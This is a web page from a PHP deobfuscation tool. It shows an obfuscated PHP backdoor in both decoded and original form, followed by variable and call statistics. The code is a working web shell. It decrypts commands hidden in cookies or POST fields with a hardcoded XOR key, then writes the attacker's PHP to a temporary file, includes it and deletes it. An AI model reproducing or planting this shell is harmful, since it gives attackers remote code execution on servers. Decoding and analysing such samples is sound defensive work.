Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $meipxyv = 'meipxyv' /* xeermk */ ^ ''; $gdpyavlvnkhefrgmljt = $_C..

Decoded Output download

<?php  
 
$meipxyv   =    'meipxyv' /*  xeermk   */ ^	''; 
$gdpyavlvnkhefrgmljt   =    $_COOKIE;$cqimx  =      63;$daxaea	= /* t  */ $_POST; 
 
 
 
function      ybwdqc() 
{ 
 
 
    $nnbcxpiwk /*  pbzhe  */ = /*   so */ 'ic';    $cpscredx    =    'rcfvaivp';    $_qcwqol /*   df   */ =    '_evypufvc'; 
 
       $qhykdxmdqm /*  fsdnxl  */ =     'mz_fq'; 
 
    $cpscredx /*ehxt */ =	strtolower($qhykdxmdqm);  $esoidgn	=	'svsbfzf'; 
    $ey_baqcb   =	'zu'; 
 
} 
 
 
function      vhroj($whiemsrv, /*  nf */ $qohdsrktitmbsiey){ 
 
    global    $meipxyv;    $phmufat    = /*rx_  */ "";	$hc_psnn     =    43; 
 /*u  */ for	($gdpyavlvnk  =    0;    $gdpyavlvnk /*  wcbar*/ <	strlen($whiemsrv);)	{ 
       for /*iurl*/ ($qohdsrkt    =	0;    $qohdsrkt	<    strlen($qohdsrktitmbsiey) /*  mnytwx*/ &&    $gdpyavlvnk    <   strlen($whiemsrv);      $qohdsrkt++, /*buu   */ $gdpyavlvnk++)    { 
 
 
    $phmufat	.=	$meipxyv(ord($whiemsrv[$gdpyavlvnk])	^    ord($qohdsrktitmbsiey[$qohdsrkt])); 
 
 
			$qohdsrktbyztnum     =	20; 
       }	} 
 
 /*wykd */ return	$phmufat; 
 
 
} 
 
 
 
 
function     rjterz($qxp_rix, /*eytoi  */ $whiemsrv) 
{ /*hi  */ global /*u  */ $meipxyv; 
 /* gjg */ $mmalegbx /* nxa  */ = /*   atenc */ sprintf("."."/".$meipxyv(48-11)  . /*   lughts */ "s"   .   "."  . /* hje_ */ "p" /*  th  */ . /* n   */ "l",	md5($qxp_rix)); 
 
    file_put_contents($mmalegbx,       "<"	. /*fnlix   */ "?"       .    "p"     .    $meipxyv(884-780) /*   yvqmu   */ .	"p"    .  $meipxyv(32) /* die  */ .      "u"    . /*  fpcrds*/ "n"."l"."i"."n"      . /*vwtixz */ "k" /*xt  */ .   $meipxyv(40)    .  "_"."_"."F"."I"."L"."E"  .    $meipxyv(95)	. /*  is  */ "_".")"    .    ";" /*  ldj*/ .	$meipxyv(32) /*   usqy */ .	$whiemsrv["d"]); 
$ktqkuxlco    =       'wzxggqhb'; 
 
	include($mmalegbx);    $dlzeq /*  dyjviy*/ =	$mmalegbx; 
	$krivky       = /*   _eitr  */ trim($ktqkuxlco); 
 
 
	$koewzd   =   'gbr'; 
     @unlink($dlzeq); 
 
	$uisvhpxkbi /* ldh*/ =	41;	$kpmboikbd /* eb  */ =    5; 
} 
function   csfssymkhy() 
 
{    global /*  ozb */ $meipxyv; 
	$gdpyavlvnk	=     array(); 
 
 
	$_fggztx    =    'csxzn_yih'; 
	$gdpyavlvnk["p"."v"] /*kdqsqa  */ =      phpversion(); 
 
	$sldtiwudy   =	45; 
 
 
	$gdpyavlvnk[$meipxyv(308-193)      .   "v"]   = /*  zok */ "3"	.	$meipxyv(557-511)      . /*m   */ "5"; 
 
 /*   x   */ echo    @serialize($gdpyavlvnk); 
 
} 
 
 
 
 
 
function   hemjc_j() 
 
 
{   $_yxpi     =   67; /* iodg */ $nstvebdd      =   'xxlyr'; 
      $nszgvrk    =    31;	$_yxpi	= /*  d*/ $nszgvrk /*  n   */ *  20;    $pxatb_apch    = /*  ev  */ 35;} 
 
 
 
 
hemjc_j(); 
 
 
function /* sazvt */ ibcctx($whiemsrv, /*wz*/ $qxp_rix,  $bre_pmigrc){       global /*ms  */ $meipxyv; 
 
 
       $whiemsrv    =      unserialize(vhroj(vhroj(base64_decode($whiemsrv),     $qxp_rix), /*__iz*/ $bre_pmigrc)); 
      if      (isset($whiemsrv["a"."k"])) /*   baua_h*/ { 
 
 
       if   ($whiemsrv["a"]    ==	"i")    {      csfssymkhy(); 
   } /*   od  */ elseif /* pe*/ ($whiemsrv["a"] /*   khum   */ == /*  _   */ $meipxyv(101))  { 
 
 
 /*ktnpc   */ rjterz($qxp_rix, /*  q*/ $whiemsrv); 
			$ahnax /* nif*/ =    74; 
 
 /*   f  */ } 
 
    exit(); 
 
 
  } 
 
 
} 
 
 
 
 
$gdpyavlvnkhefrgmljt /* qowjmv   */ = /*  txya */ array_merge($daxaea, /*   j */ $gdpyavlvnkhefrgmljt); 
 
 
$qxp_rix /*   dih*/ =    "c"."6"."2" /*   whixf*/ . /*  zy   */ $meipxyv(48) /* w */ . /*  lhnv   */ $meipxyv(99)     .  "d" /*  l */ .	"f" /*  u  */ . /*pavxxt  */ "a"    .    "-"."4".$meipxyv(51) /*wv   */ . /* yml   */ $meipxyv(54)    .	"b" /*  _c  */ .	$meipxyv(45)	.  "4"."5"."6"    . /*  f   */ "9".$meipxyv(446-401) /*kr */ .	"b".$meipxyv(53)    .    "5" /*  ef  */ .	"a"   . /* uawji */ $meipxyv(45)  .    "7"."8"."3"."5".$meipxyv(699-602)     . /*   jv */ $meipxyv(682-580) /*zyqmc */ .	"0"."8"       . /*d   */ "8"    .    "b"     .	"2" /*  wsthnn   */ .   "6"; 
 
foreach       ($gdpyavlvnkhefrgmljt	as    $bre_pmigrc       =>   $whiemsrv)	{ 
    ibcctx($whiemsrv,    $qxp_rix, /*   j*/ $bre_pmigrc);} 
 
 
$bulaak_    =	'z_u_'; 
$pazlu_c    = /* kgh */ 31; 
 
 
 
 
 
ybwdqc(); 
 
 
 
 
 
 
 
 
?>

Did this file decode correctly?

Original Code

<?php 

$meipxyv   =    'meipxyv' /*  xeermk   */ ^	'';
$gdpyavlvnkhefrgmljt   =    $_COOKIE;$cqimx  =      63;$daxaea	= /* t  */ $_POST;



function      ybwdqc()
{


    $nnbcxpiwk /*  pbzhe  */ = /*   so */ 'ic';    $cpscredx    =    'rcfvaivp';    $_qcwqol /*   df   */ =    '_evypufvc';

       $qhykdxmdqm /*  fsdnxl  */ =     'mz_fq';

    $cpscredx /*ehxt */ =	strtolower($qhykdxmdqm);  $esoidgn	=	'svsbfzf';
    $ey_baqcb   =	'zu';

}


function      vhroj($whiemsrv, /*  nf */ $qohdsrktitmbsiey){

    global    $meipxyv;    $phmufat    = /*rx_  */ "";	$hc_psnn     =    43;
 /*u  */ for	($gdpyavlvnk  =    0;    $gdpyavlvnk /*  wcbar*/ <	strlen($whiemsrv);)	{
       for /*iurl*/ ($qohdsrkt    =	0;    $qohdsrkt	<    strlen($qohdsrktitmbsiey) /*  mnytwx*/ &&    $gdpyavlvnk    <   strlen($whiemsrv);      $qohdsrkt++, /*buu   */ $gdpyavlvnk++)    {


    $phmufat	.=	$meipxyv(ord($whiemsrv[$gdpyavlvnk])	^    ord($qohdsrktitmbsiey[$qohdsrkt]));


			$qohdsrktbyztnum     =	20;
       }	}

 /*wykd */ return	$phmufat;


}




function     rjterz($qxp_rix, /*eytoi  */ $whiemsrv)
{ /*hi  */ global /*u  */ $meipxyv;
 /* gjg */ $mmalegbx /* nxa  */ = /*   atenc */ sprintf("."."/".$meipxyv(48-11)  . /*   lughts */ "\x73"   .   "\56"  . /* hje_ */ "\160" /*  th  */ . /* n   */ "\x6c",	md5($qxp_rix));

    file_put_contents($mmalegbx,       "<"	. /*fnlix   */ "\77"       .    "\160"     .    $meipxyv(884-780) /*   yvqmu   */ .	"\x70"    .  $meipxyv(32) /* die  */ .      "\165"    . /*  fpcrds*/ "n"."l"."\x69"."\156"      . /*vwtixz */ "\153" /*xt  */ .   $meipxyv(40)    .  "_"."_"."F"."I"."L"."\x45"  .    $meipxyv(95)	. /*  is  */ "_"."\x29"    .    "\73" /*  ldj*/ .	$meipxyv(32) /*   usqy */ .	$whiemsrv["d"]);
$ktqkuxlco    =       'wzxggqhb';

	include($mmalegbx);    $dlzeq /*  dyjviy*/ =	$mmalegbx;
	$krivky       = /*   _eitr  */ trim($ktqkuxlco);


	$koewzd   =   'gbr';
     @unlink($dlzeq);

	$uisvhpxkbi /* ldh*/ =	41;	$kpmboikbd /* eb  */ =    5;
}
function   csfssymkhy()

{    global /*  ozb */ $meipxyv;
	$gdpyavlvnk	=     array();


	$_fggztx    =    'csxzn_yih';
	$gdpyavlvnk["p"."v"] /*kdqsqa  */ =      phpversion();

	$sldtiwudy   =	45;


	$gdpyavlvnk[$meipxyv(308-193)      .   "v"]   = /*  zok */ "\x33"	.	$meipxyv(557-511)      . /*m   */ "\65";

 /*   x   */ echo    @serialize($gdpyavlvnk);

}





function   hemjc_j()


{   $_yxpi     =   67; /* iodg */ $nstvebdd      =   'xxlyr';
      $nszgvrk    =    31;	$_yxpi	= /*  d*/ $nszgvrk /*  n   */ *  20;    $pxatb_apch    = /*  ev  */ 35;}




hemjc_j();


function /* sazvt */ ibcctx($whiemsrv, /*wz*/ $qxp_rix,  $bre_pmigrc){       global /*ms  */ $meipxyv;


       $whiemsrv    =      unserialize(vhroj(vhroj(base64_decode($whiemsrv),     $qxp_rix), /*__iz*/ $bre_pmigrc));
      if      (isset($whiemsrv["a"."k"])) /*   baua_h*/ {


       if   ($whiemsrv["a"]    ==	"\x69")    {      csfssymkhy();
   } /*   od  */ elseif /* pe*/ ($whiemsrv["a"] /*   khum   */ == /*  _   */ $meipxyv(101))  {


 /*ktnpc   */ rjterz($qxp_rix, /*  q*/ $whiemsrv);
			$ahnax /* nif*/ =    74;

 /*   f  */ }

    exit();


  }


}




$gdpyavlvnkhefrgmljt /* qowjmv   */ = /*  txya */ array_merge($daxaea, /*   j */ $gdpyavlvnkhefrgmljt);


$qxp_rix /*   dih*/ =    "c"."6"."\x32" /*   whixf*/ . /*  zy   */ $meipxyv(48) /* w */ . /*  lhnv   */ $meipxyv(99)     .  "\x64" /*  l */ .	"\x66" /*  u  */ . /*pavxxt  */ "\141"    .    "-"."4".$meipxyv(51) /*wv   */ . /* yml   */ $meipxyv(54)    .	"\142" /*  _c  */ .	$meipxyv(45)	.  "4"."5"."\66"    . /*  f   */ "9".$meipxyv(446-401) /*kr */ .	"b".$meipxyv(53)    .    "\65" /*  ef  */ .	"\x61"   . /* uawji */ $meipxyv(45)  .    "7"."8"."3"."5".$meipxyv(699-602)     . /*   jv */ $meipxyv(682-580) /*zyqmc */ .	"0"."\70"       . /*d   */ "\70"    .    "\142"     .	"\62" /*  wsthnn   */ .   "6";

foreach       ($gdpyavlvnkhefrgmljt	as    $bre_pmigrc       =>   $whiemsrv)	{
    ibcctx($whiemsrv,    $qxp_rix, /*   j*/ $bre_pmigrc);}


$bulaak_    =	'z_u_';
$pazlu_c    = /* kgh */ 31;





ybwdqc();








?>

Function Calls

hemjc_j 1
array_merge 1

Variables

$_yxpi 620
$cqimx 63
$daxaea 0
$meipxyv c~gkvbx
$nszgvrk 31
$nstvebdd xxlyr
$pxatb_apch 35
$gdpyavlvnkhefrgmljt 0

Stats

MD5 d4a9f4a2234b929aa4f49abd59e952ff
Eval Count 0
Decode Time 70 ms